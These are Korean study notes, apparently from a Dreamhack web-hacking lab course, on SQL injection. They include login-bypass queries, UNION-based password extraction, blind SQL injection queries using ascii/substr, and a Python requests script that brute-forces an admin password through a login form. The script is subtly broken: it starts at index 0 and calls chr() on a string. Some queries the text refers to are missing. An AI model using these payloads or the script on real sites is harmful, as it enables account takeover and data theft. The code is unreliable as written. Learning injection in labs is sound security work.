[Web_Hacking] stage6_SQL injection
*SQL Injection
SQL는 DBMS에 데이터를 질의하는 언어이다. 웹 서비스는 이용자의 입력을 SQL구문에 포함해 요청하는 경우가 있는데, 로그인 시 ID와 PW, 그리고 게시글의 제목과 내용 등이 있다.
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
위는 로그인 시 애플리케이션이 DBMS에 질의하는 예시 쿼리이다. 이용자의 입력인 id와 pw를 SQL구문에 포함하고 있는 것을 볼 수 있다.
위 쿼리에서 SELECT *는 테이블의 모든 컬럼을 조회하라는 뜻이다. (SELECT == 조회, * == 모두) From accounts는 어느 테이블에서 데이터를 조회할 것인지를 정해주는 것이고(accounts테이블에서 데이터를 조회하라는 뜻), user_id 컬럼이 dreamhack이고, user_pw칼럼이 password인 데이터로 범위를 지정해 준 것이다.
->DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회하라는 의미.
이와 같이 이용자가 SQL구문에 임의 문자열을 삽입하는 것을 SQL Injection이라고 함 -> 이를 활용해 쿼리를 조작해 인증 우회/데이터베이스 정보 유출 등이 가능하다.
SELECT * FROM accounts WHERE user_id='admin'
위는 SQL Injection으로 조작한 쿼리문이다. user_pw조건문이 사라짐 -> 위 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하는 과정 없이 그 계정의 정보를 반환 -> 이용자는 admin계정으로 로그인할 수 있게 됨
(->위 쿼리는 DBMS에 저장된 accounts테이블에서 이용자의 아이디가 admin인 데이터를 조회하라는 뜻)
*Simple SQL Injection

위 실습 모듈을 보면 uid와 upw를 입력받아 쿼리문을 생성한다. 내게서 받은 입력문을 작은 따옴표로 감싼다는 것을 알 수 있다.

즉, 위와 같이 따옴표를 조작할 수 있도록 입력하게 되면, 위 쿼리문은 uid가 admin인 데이터를 반환하고, 두 번째 조건은 이전 식이 참(== 1)이고, upw가 없는('')데이터를 반환하는데, 이는 없으므로 (guest계정과 admin계정만 존재) admin계정의 데이터를 반환한다.
이 외에도 주석 등을 이용해서 SQL Injection을 시도할 수도 있다.

위와 같이 --이후를 주석으로 인식한다는 점을 이용해 upw조건 없이 admin계정의 데이터를 조회할 수 있다.
근데 내 목적은 admin의 upw를 알아내는 것인데, 위 쿼리문은 SELECT를 통해 uid데이터만을 조회해준다. pwd데이터를 얻으려면

위와 같이 UNION을 통해 두 쿼리문을 엮을 수 있다. 명령어(?)이름이 참 정직한 것 같다.
위의 경우 admin의 uid정보와, user_table의 모든 upw정보를 조회했는데, 반환된 guest의 경우 guest 계정의 upw정보이므로 admin계정의 upw정보는 strawberry이다.
*Blind SQL Injection
이전 Injection처럼 질의 결과를 직접적으로 확인할 수 있는 상황이 아닐 때 참/거짓 반환 결과를 통해 데이터를 획득하는 공격 방식이다.
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's'')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
위 쿼리문은 해당 공격 시 사용할 수 있다.
ascii : 전달된 문자를 아스키 형태로 반환하는 함수(ascii('a') == 97)
substr : 전달된 문자열에서 지정한 위치부터 길이까지의 값을 가져온다. substr(string, position, length) 형태로 쓰면 된다.
ex: substr('ABCDE', 2, 2) == 'BC'
위 쿼리문에서 두 번째 조건(and 이후)을 보면 upw의 첫 번째(1, 1)값이 r인지를 질의하고 있다. -> 로그인 여부로 T/F를 알 수 있음. -> 이런 식으로 쿼리문의 반환 결과를 통해 admin계정의 비밀번호를 획득할 수 있다.
보다시피 위와 같은 공격 방식은 하나씩 비교하는 과정에서 시간이 많이 소요됨 -> 자동화 스크립트를 짤 수 있다. 파이썬의 HTTP 통신을 위한 모듈 중 requests모듈을 이용할 수 있다.
requests모듈은 여러 메소드를 이용해 HTTP요청을 보내고 응답을 확인할 수 있는 모듈이다.
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
위 코드는 requests모듈을 임포트해서 GET메소드를 이용하고 있다. requests.get은 GET메소드로 HTTP요청을 보내는 함수로, 위와 같이 URL/headers/parameter를 함께 보낼 수 있다.
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
이건 POST메소드를 이용한 통신인데 GET메소드처럼 requests.post함수를 쓰면 된다. data는 Body이다.
위와 같은 공격을 시도하려면 아스키 범위에서 이용자가 사용할 수 있는 모든 문자 범위를 지정해야 한다. (알파벳, 숫자, 특수문자 -> 32 ~ 126)
#!/usr/bin/python3
import requests
import string
url = 'http://example.com/login' # example URL
params = {
'uid': '',
'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
for ch in tc:
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
tc에서 string모듈을 통해 32 ~ 126의 모든 문자를 데려와 반복문으로 비교하고 있다. 그리고 Login success라는 문자열 이 있을 경우 (없으면 -1반환하는 것을 이용) password에 발견한 ch를 추가해 최종적으로 password를 알아내는 코드이다.